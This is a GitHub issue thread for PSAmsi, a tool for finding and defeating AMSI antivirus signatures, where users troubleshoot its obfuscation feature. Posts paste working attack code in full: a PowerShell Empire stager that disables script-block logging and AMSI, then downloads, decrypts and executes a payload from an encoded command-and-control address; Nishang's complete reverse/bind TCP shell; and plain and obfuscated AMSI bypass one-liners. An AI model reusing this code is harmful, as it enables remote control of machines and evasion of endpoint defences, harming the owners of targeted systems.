cobbr / PSAmsi

PSAmsi is a tool for auditing and defeating AMSI signatures.
GNU General Public License v3.0
385 stars 71 forks source link

PSAmsi not returning a modified payload #5

Open Hubbl3 opened 5 years ago

Hubbl3 commented 5 years ago

I have a PSAMSi server being run on a Kali VM with the Client being run on a VM. PSAmsi is properly finding the flags when using the -FindAmsiSignatures switch but is simply returning the original script with no modifications when the -GetMinimallyObfuscated flag is used.

Hubbl3 commented 5 years ago

Upon further investigation. There seems to be some issue when using -GetMinimallyObfuscated with -ScriptPath even when running PSAMSI client/server from the same box

cobbr commented 5 years ago

Hey @lonewolf210 , are you able to share the script you are trying to obfuscate? Hard to determine the issue without it. It's possible that PSAmsi was not able to find a sufficiently obfuscated version.

Hubbl3 commented 5 years ago

@cobbr No problem I am trying to obfuscate the initial stage 0 from Powershell Empire as I already know about what that should look like:

If($PSVERSiONTAbLe.PSVErSION.MAjor -GE 3){ $e01=[ReF].AsSEMBLy.GEtTYpE('System.Management.Automation.Utils')."GETFiEld"('cachedGroupPolicySettings','N'+'onPublic,Static'); If($e01){ $F46=$E01.GetValue($nuLl); If($f46['ScriptB'+'lockLogging']){ $f46['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0; $F46['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0 } $VAL=[COlLEcTiONs.GeNeRIC.DIcTIOnArY[STRIng,SYSTem.OBjecT]]::NEw(); $val.ADd('EnableScriptB'+'lockLogging',0); $Val.Add('EnableScriptBlockInvocationLogging',0); $F46['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL } ELsE{ [ScRIPTBlOCk]."GetFiE`ld"('signatures','N'+'onPublic,Static').SEtVALuE($NUll,(New-OBjeCT ColleCtiOnS.GeNEric.HaShSet[STrinG])) } $REf=[REF].AsSEmbLy.GETType('System.Management.Automation.Am'+'siU'+'tils'); $Ref.GetField("amsiInitFailed",'NonPublic,Static').SEtVaLUe($NULL,$tRUE); };

$A9A=NeW-OBjECT SySteM.NeT.WEBCLiEnt; $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $A9A.HeADErS.AdD('User-Agent',$u); $A9a.HeAdERs.AdD('User-Agent',$u); $A9a.PrOxY=[SYstEM.Net.WeBReqUEsT]::DeFauLtWEbPROxY; $A9A.PrOxY.CrEDentIALS = [SysTeM.NeT.CrEDeNtIAlCAcHE]::DEfaULTNETWorkCReDenTIalS; $Script:Proxy = $a9a.Proxy; $K=[SysTem.TEXT.ENcODiNg]::ASCII.GETByTeS('UNR>fS)H}@J#Ejgnpmi7rw-M<o8=vOq:'); $R={ $D,$K=$ArgS; $S=0..255; 0..255|%{$J=($J+$S[$]+$K[$%$K.COuNt])%256;$S[$],$S[$J]=$S[$J],$S[$]}; $D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-Bxor$S[($S[$I]+$S[$H])%256]} }; $ser=$([TEXt.ENcoDiNg]::UnicodE.GETSTRInG([COnVert]::FromBASe64STRInG('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANwAyAC4AMQA3ADIA'))); $t='/login/process.php'; $a9a.HeaDeRs.ADd("Cookie","jDYpbTTMjY=n+MYwCyK2EAXXQ45s8TL2Cuyprc="); $DAta=$a9A.DownLoADDATa($ser+$t);$IV=$DAtA[0..3]; $DaTa=$data[4..$dAtA.lENGTh]; -JoIn[CHaR[]](& $R $dAtA ($IV+$K))|IEX `

The 'AmsiInitFailed' string should trigger a flag and AMSI has been flagging the script block as a whole even with the AmsiInitFailed obfuscated. So I thought maybe it was as you mentioned that it couldn't find a solution and tried just passing the string amsicontext which should just be a simple concatenation to break the signature but it still returned an unobfuscated string.

Yesterday I tried just running the Get-MinimallyObfuscated module in a session that utilized an AMSI bypass so I didn't need the server/client config. The function did successfully return the amsicontext string obfuscated when run locally but when I tried the above script the function crashed with a stackoverflow error. Is that an error that gets thrown when the script can't be satisfactorily obfuscated? Or is the AST to large? I don't think it's the latter as I watched the derbycon talk where you were obfuscating the mimikatz script which is significantly longer.

Hubbl3 commented 5 years ago

@cobbr just an update. It does work if I pass the script in as a one liner but Get-MinimallyObfusctaed does not seem to work with the -ScriptPath switch. It simply returns the file path. ScriptPath works fine with Get-AmsiSignatures

cobbr commented 5 years ago

Interesting, thanks for digging into that @lonewolf210, I'll look into it. Could you share the code you are using to launch the scan?

Hubbl3 commented 5 years ago

@cobbr here is how I am normally starting it when not using the Server/Client setup between kali and windows box:

$Ref=[REF].Assembly.GetType('System.Management.Automation.Am'+'siU'+'tils'); $Ref.GetField('amsi'+"Init"+"Failed",'NonPublic,Static').SetValue($NULL,$true); Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass; Import-Module .\PSAmsi.psd1; Get-MinimallyObfuscated -ScriptPath <file path> or Get-MinimallyObfuscated -ScriptBlock {Script}

init5-SF commented 4 years ago

Hello, I think I am having the same problem.

I am running Invoke-PSAmsiScan command twice, once to check if the code will be flagged, and the other one using and expanding the "MinimallyObfuscated" property, but it's showing the same code with no obfuscation. This sample is Nishang's reverse PowerShell TCP First check

PS D:\Toolz\OffsecScripts\PSAmsi-master> Invoke-PSAmsiScan -ScriptPath .\sample.ps1                                                                                                                                                                                            
ScriptIsFlagged
---------------
           True

Then:


PS D:\Toolz\OffsecScripts\PSAmsi-master> Invoke-PSAmsiScan -ScriptPath .\sample.ps1 -GetMinimallyObfuscated                                                                                                                                                                    
ScriptIsFlagged MinimallyObfuscated
--------------- -------------------
           True function Invoke-PowerShellTcp ...

PS D:\Toolz\OffsecScripts\PSAmsi-master> Invoke-PSAmsiScan -ScriptPath .\sample.ps1 -GetMinimallyObfuscated | select -ExpandProperty MinimallyObfuscated                                                                                                                       function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    try
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target."
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}
0xJs commented 2 years ago

Think I have the same problem. Just downloaded the tools.

PS C:\Users\user> S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
PS C:\Users\user> Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass;

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): y
PS C:\Users\user> ipmo C:\Tools\Evasion\PSAmsi-master\PSAmsi\PSAmsi.psd1
PS C:\Users\user> Get-MinimallyObfuscated -ScriptPath C:\Tools\PowerView.ps1
C:\Tools\PowerView.ps1

It doesn't return anything? I tried it another way by doing the following:

PS C:\Users\user> Invoke-PSAmsiScan -ScriptPath C:\Tools\PowerView.ps1

ScriptIsFlagged
---------------
           True

$data = Invoke-PSAmsiScan -ScriptPath C:\Tools\PowerView.ps1 -GetMinimallyObfuscated
PS C:\Tools\test> $data

ScriptIsFlagged MinimallyObfuscated
--------------- -------------------
           True #requires -version 2...
$data.MinimallyObfuscated > powerview1.ps1

PS C:\Tools\test> Invoke-PSAmsiScan -ScriptPath .\PowerView.ps1

ScriptIsFlagged
---------------
           True

PS C:\Tools\test> ls

    Directory: C:\Tools\test

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2021  11:47 PM         791193 PowerView.ps1
-a----          1/6/2022   9:54 AM        1582392 powerview1.ps1

PS C:\Tools\test> $data = Invoke-PSAmsiScan -ScriptPath .\PowerView.ps1 -GetMinimallyObfuscated
PS C:\Tools\test> $data.MinimallyObfuscated > powerview2.ps1

PS C:\Tools\test> ls

    Directory: C:\Tools\test

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2021  11:47 PM         791193 PowerView.ps1
-a----          1/6/2022   9:54 AM        1582392 powerview1.ps1
-a----          1/6/2022   9:57 AM        1582392 powerview2.ps1

It doesn't give me an obfuscated version of Powerview.